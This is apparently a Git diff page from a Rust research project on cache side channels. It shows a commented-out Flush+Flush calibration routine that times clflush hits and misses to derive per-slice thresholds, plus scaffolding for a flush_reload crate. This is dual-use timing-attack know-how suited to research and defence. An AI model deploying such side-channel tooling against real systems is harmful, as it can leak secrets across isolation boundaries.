// Calibration
|
||||||
|
// Make predictions out of results -> probably in cache_utils
|
||||||
|
// Compute Threshold & Error
|
||||||
|
// Compute stats from (A,V,S,P) into (A,V), or other models -> in cache_utils
|
||||||
|
// Use a generic function ? fn <T> reduce (HashMap<(A,S,V,P), Result>, Fn (A,S,V,P) -> T, a reduction method)
|
||||||
|
|
||||||
|
// Determine best core (A,V) amongst options -> in here
|
||||||
|
// Extract results out of calibration -> in self.calibrate
|
||||||
|
|
||||||
|
unsafe fn calibrate(
|
||||||
|
&mut self,
|
||||||
|
addresses: impl IntoIterator<Item = *const u8> + Clone,
|
||||||
|
) -> Result<(), ChannelFatalError> {
|
||||||
|
unimplemented!()
|
||||||
|
/*
|
||||||
|
let mut pages = HashMap::<VPN, HashSet<*const u8>>::new();
|
||||||
|
for addr in addresses {
|
||||||
|
let page = get_vpn(addr);
|
||||||
|
pages.entry(page).or_insert_with(HashSet::new).insert(addr);
|
||||||
|
}
|
||||||
|
|
||||||
|
let core_per_socket = find_core_per_socket();
|
||||||
|
|
||||||
|
let operations = [
|
||||||
|
CalibrateOperation2T {
|
||||||
|
prepare: maccess::<u8>,
|
||||||
|
op: only_flush,
|
||||||
|
name: "clflush_remote_hit",
|
||||||
|
display_name: "clflush remote hit",
|
||||||
|
},
|
||||||
|
CalibrateOperation2T {
|
||||||
|
prepare: noop::<u8>,
|
||||||
|
op: only_flush,
|
||||||
|
name: "clflush_miss",
|
||||||
|
display_name: "clflush miss",
|
||||||
|
},
|
||||||
|
];
|
||||||
|
const HIT_INDEX: usize = 0;
|
||||||
|
const MISS_INDEX: usize = 1;
|
||||||
|
|
||||||
|
// Generate core iterator
|
||||||
|
let mut core_pairs: Vec<(usize, usize)> = Vec::new();
|
||||||
|
|
||||||
|
let old = sched_getaffinity(Pid::from_raw(0)).unwrap();
|
||||||
|
|
||||||
|
for i in 0..CpuSet::count() {
|
||||||
|
if old.is_set(i).unwrap() {
|
||||||
|
core_pairs.push((i, i));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Probably needs more metadata
|
||||||
|
let mut per_core: HashMap<usize, HashMap<VPN, HashMap<Slice, (Threshold, f32)>>> =
|
||||||
|
HashMap::new();
|
||||||
|
|
||||||
|
let mut core_averages: HashMap<usize, (f32, u32)> = HashMap::new();
|
||||||
|
|
||||||
|
for (page, _) in pages {
|
||||||
|
let p = page as *const u8;
|
||||||
|
let r = unsafe {
|
||||||
|
calibrate_fixed_freq_2_thread(
|
||||||
|
p,
|
||||||
|
64, // FIXME : MAGIC
|
||||||
|
PAGE_LEN as isize, // MAGIC
|
||||||
|
&mut core_pairs.clone().into_iter(),
|
||||||
|
&operations,
|
||||||
|
CalibrationOptions {
|
||||||
|
hist_params: HistParams {
|
||||||
|
bucket_number: CFLUSH_BUCKET_NUMBER,
|
||||||
|
bucket_size: CFLUSH_BUCKET_SIZE,
|
||||||
|
iterations: CFLUSH_NUM_ITER << 1,
|
||||||
|
},
|
||||||
|
verbosity: Verbosity::NoOutput,
|
||||||
|
optimised_addresses: true,
|
||||||
|
},
|
||||||
|
core_per_socket,
|
||||||
|
)
|
||||||
|
};
|
||||||
|
|
||||||
|
/* TODO refactor a good chunk of calibration result analysis to make thresholds in a separate function
|
||||||
|
Generating Cumulative Sums and then using that to compute error count for each possible threshold is a recurring joke.
|
||||||
|
It might be worth in a second time to refactor this to handle more generic strategies (such as double thresholds)
|
||||||
|
What about handling non attributes values (time values that are not attributed as hit or miss)
|
||||||
|
*/
|
||||||
|
|
||||||
|
/*
|
||||||
|
|
||||||
|
Non Naive F+F flow
|
||||||
|
Vec<CalibrationResult2T> -> ASVP,Thresholds,Error Does not care as much. Can probably re-use functions to build a single one.
|
||||||
|
Add API to query predicted error rate, compare with covert channel result.
|
||||||
|
*/
|
||||||
|
|
||||||
|
for result2t in r {
|
||||||
|
if result2t.main_core != result2t.helper_core {
|
||||||
|
panic!("Unexpected core numbers");
|
||||||
|
}
|
||||||
|
let core = result2t.main_core;
|
||||||
|
match result2t.res {
|
||||||
|
Err(e) => panic!("Oops: {:#?}", e),
|
||||||
|
Ok(results_1t) => {
|
||||||
|
for r1t in results_1t {
|
||||||
|
// This will be turned into map_values style functions + Calibration1T -> Reasonable Type
|
||||||
|
|
||||||
|
// Already handled
|
||||||
|
let offset = r1t.offset;
|
||||||
|
let addr = unsafe { p.offset(offset) };
|
||||||
|
let slice = self.get_slice(addr);
|
||||||
|
|
||||||
|
// To Raw histogram
|
||||||
|
let miss_hist = &r1t.histogram[MISS_INDEX];
|
||||||
|
let hit_hist = &r1t.histogram[HIT_INDEX];
|
||||||
|
if miss_hist.len() != hit_hist.len() {
|
||||||
|
panic!("Maformed results");
|
||||||
|
}
|
||||||
|
let len = miss_hist.len();
|
||||||
|
|
||||||
|
// Cum Sums
|
||||||
|
let miss_cum_sum = cum_sum(miss_hist);
|
||||||
|
let hit_cum_sum = cum_sum(hit_hist);
|
||||||
|
let miss_total = miss_cum_sum[len - 1];
|
||||||
|
let hit_total = hit_cum_sum[len - 1];
|
||||||
|
|
||||||
|
// Error rate per threshold computations
|
||||||
|
|
||||||
|
// Threshold is less than equal => miss, strictly greater than => hit
|
||||||
|
let mut error_miss_less_than_hit = vec![0; len - 1];
|
||||||
|
// Threshold is less than equal => hit, strictly greater than => miss
|
||||||
|
let mut error_hit_less_than_miss = vec![0; len - 1];
|
||||||
|
|
||||||
|
let mut min_error_hlm = u32::max_value();
|
||||||
|
let mut min_error_mlh = u32::max_value();
|
||||||
|
|
||||||
|
for i in 0..(len - 1) {
|
||||||
|
error_hit_less_than_miss[i] =
|
||||||
|
miss_cum_sum[i] + (hit_total - hit_cum_sum[i]);
|
||||||
|
error_miss_less_than_hit[i] =
|
||||||
|
hit_cum_sum[i] + (miss_total - miss_cum_sum[i]);
|
||||||
|
|
||||||
|
if error_hit_less_than_miss[i] < min_error_hlm {
|
||||||
|
min_error_hlm = error_hit_less_than_miss[i];
|
||||||
|
}
|
||||||
|
if error_miss_less_than_hit[i] < min_error_mlh {
|
||||||
|
min_error_mlh = error_miss_less_than_hit[i];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
let hlm = min_error_hlm < min_error_mlh;
|
||||||
|
|
||||||
|
let (errors, min_error) = if hlm {
|
||||||
|
(&error_hit_less_than_miss, min_error_hlm)
|
||||||
|
} else {
|
||||||
|
(&error_miss_less_than_hit, min_error_mlh)
|
||||||
|
};
|
||||||
|
|
||||||
|
// Find the min -> gives potetial thresholds with info
|
||||||
|
let mut potential_thresholds = Vec::new();
|
||||||
|
|
||||||
|
for i in 0..errors.len() {
|
||||||
|
if errors[i] == min_error {
|
||||||
|
let num_true_hit;
|
||||||
|
let num_false_hit;
|
||||||
|
let num_true_miss;
|
||||||
|
let num_false_miss;
|
||||||
|
if hlm {
|
||||||
|
num_true_hit = hit_cum_sum[i];
|
||||||
|
num_false_hit = miss_cum_sum[i];
|
||||||
|
num_true_miss = miss_total - num_false_hit;
|
||||||
|
num_false_miss = hit_total - num_true_hit;
|
||||||
|
} else {
|
||||||
|
num_true_miss = miss_cum_sum[i];
|
||||||
|
num_false_miss = hit_cum_sum[i];
|
||||||
|
num_true_hit = hit_total - num_false_miss;
|
||||||
|
num_false_hit = miss_total - num_true_miss;
|
||||||
|
}
|
||||||
|
potential_thresholds.push((
|
||||||
|
i,
|
||||||
|
num_true_hit,
|
||||||
|
num_false_hit,
|
||||||
|
num_true_miss,
|
||||||
|
num_false_miss,
|
||||||
|
min_error as f32 / (hit_total + miss_total) as f32,
|
||||||
|
));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
let index = (potential_thresholds.len() - 1) / 2;
|
||||||
|
let (threshold, _, _, _, _, error_rate) = potential_thresholds[index];
|
||||||
|
// insert in per_core
|
||||||
|
if per_core
|
||||||
|
.entry(core)
|
||||||
|
.or_insert_with(HashMap::new)
|
||||||
|
.entry(page)
|
||||||
|
.or_insert_with(HashMap::new)
|
||||||
|
.insert(
|
||||||
|
slice,
|
||||||
|
(
|
||||||
|
Threshold {
|
||||||
|
bucket_index: threshold, // FIXME the bucket to time conversion
|
||||||
|
miss_faster_than_hit: !hlm,
|
||||||
|
},
|
||||||
|
error_rate,
|
||||||
|
),
|
||||||
|
)
|
||||||
|
.is_some()
|
||||||
|
{
|
||||||
|
panic!("Duplicate slice result");
|
||||||
|
}
|
||||||
|
let core_average = core_averages.get(&core).unwrap_or(&(0.0, 0));
|
||||||
|
let new_core_average =
|
||||||
|
(core_average.0 + error_rate, core_average.1 + 1);
|
||||||
|
core_averages.insert(core, new_core_average);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// We now get ASVP stuff with the correct core(in theory)
|
||||||
|
|
||||||
|
// We now have a HashMap associating stuffs to cores, iterate on it and select the best.
|
||||||
|
let mut best_core = 0;
|
||||||
|
|
||||||
|
let mut best_error_rate = {
|
||||||
|
let ca = core_averages[&0];
|
||||||
|
ca.0 / ca.1 as f32
|
||||||
|
};
|
||||||
|
for (core, average) in core_averages {
|
||||||
|
let error_rate = average.0 / average.1 as f32;
|
||||||
|
if error_rate < best_error_rate {
|
||||||
|
best_core = core;
|
||||||
|
best_error_rate = error_rate;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
let mut thresholds = HashMap::new();
|
||||||
|
println!("Best core: {}, rate: {}", best_core, best_error_rate);
|
||||||
|
let tmp = per_core.remove(&best_core).unwrap();
|
||||||
|
for (page, per_page) in tmp {
|
||||||
|
let page_entry = thresholds.entry(page).or_insert_with(HashMap::new);
|
||||||
|
for (slice, per_slice) in per_page {
|
||||||
|
println!(
|
||||||
|
"page: {:x}, slice: {}, threshold: {:?}, error_rate: {}",
|
||||||
|
page, slice, per_slice.0, per_slice.1
|
||||||
|
);
|
||||||
|
page_entry.insert(slice, per_slice.0);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
self.thresholds = thresholds;
|
||||||
|
println!("{:#?}", self.thresholds);
|
||||||
|
|
||||||
|
// TODO handle error better for affinity setting and other issues.
|
||||||
|
|
||||||
|
self.addresses_ready.clear();
|
||||||
|
|
||||||
|
let mut cpuset = CpuSet::new();
|
||||||
|
cpuset.set(best_core).unwrap();
|
||||||
|
sched_setaffinity(Pid::from_raw(0), &cpuset).unwrap();
|
||||||
|
Ok(())
|
||||||
|
*/
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
#[test]
|
||||||
|
fn it_works() {
|
||||||
|
assert_eq!(2 + 2, 4);
|
||||||
|
}
|
||||||
|
}
|
0
flush_flush/src/naive.rs
Normal file
0
flush_flush/src/naive.rs
Normal file
11
flush_reload/Cargo.toml
Normal file
11
flush_reload/Cargo.toml
Normal file
@ -0,0 +1,11 @@
|
|||||||
|
[package]
|
||||||
|
name = "flush_reload"
|
||||||
|
version = "0.1.0"
|
||||||
|
authors = ["GuillaumeDIDIER <guillaume.didier95@hotmail.fr>"]
|
||||||
|
edition = "2018"
|
||||||
|
|
||||||
|
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||||
|
|
||||||
|
[dependencies]
|
||||||
|
cache_utils = { path = "../cache_utils" }
|
||||||
|
cache_side_channel = { path = "../cache_side_channel" }
|
18
flush_reload/src/lib.rs
Normal file
18
flush_reload/src/lib.rs
Normal file
@ -0,0 +1,18 @@
|
|||||||
|
#![feature(unsafe_block_in_unsafe_fn)]
|
||||||
|
#![deny(unsafe_op_in_unsafe_fn)]
|
||||||
|
|
||||||
|
use cache_side_channel::{
|
||||||
|
CacheStatus, ChannelFatalError, SideChannelError, SingleAddrCacheSideChannel,
|
||||||
|
};
|
||||||
|
use cache_utils::calibration::only_reload;
|
||||||
|
use cache_utils::flush;
|
||||||
|
|
||||||
|
pub mod naive;
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
#[test]
|
||||||
|
fn it_works() {
|
||||||
|
assert_eq!(2 + 2, 4);
|
||||||
|
}
|
||||||
|
}
|
@ -1,4 +1,6 @@
|
|||||||
use crate::{CacheStatus, ChannelFatalError, SideChannelError, SingleAddrCacheSideChannel};
|
use cache_side_channel::{
|
||||||
|
CacheStatus, ChannelFatalError, SideChannelError, SingleAddrCacheSideChannel,
|
||||||
|
};
|
||||||
use cache_utils::calibration::only_reload;
|
use cache_utils::calibration::only_reload;
|
||||||
use cache_utils::flush;
|
use cache_utils::flush;
|
||||||
|
|
Loading…
Reference in New Issue
Block a user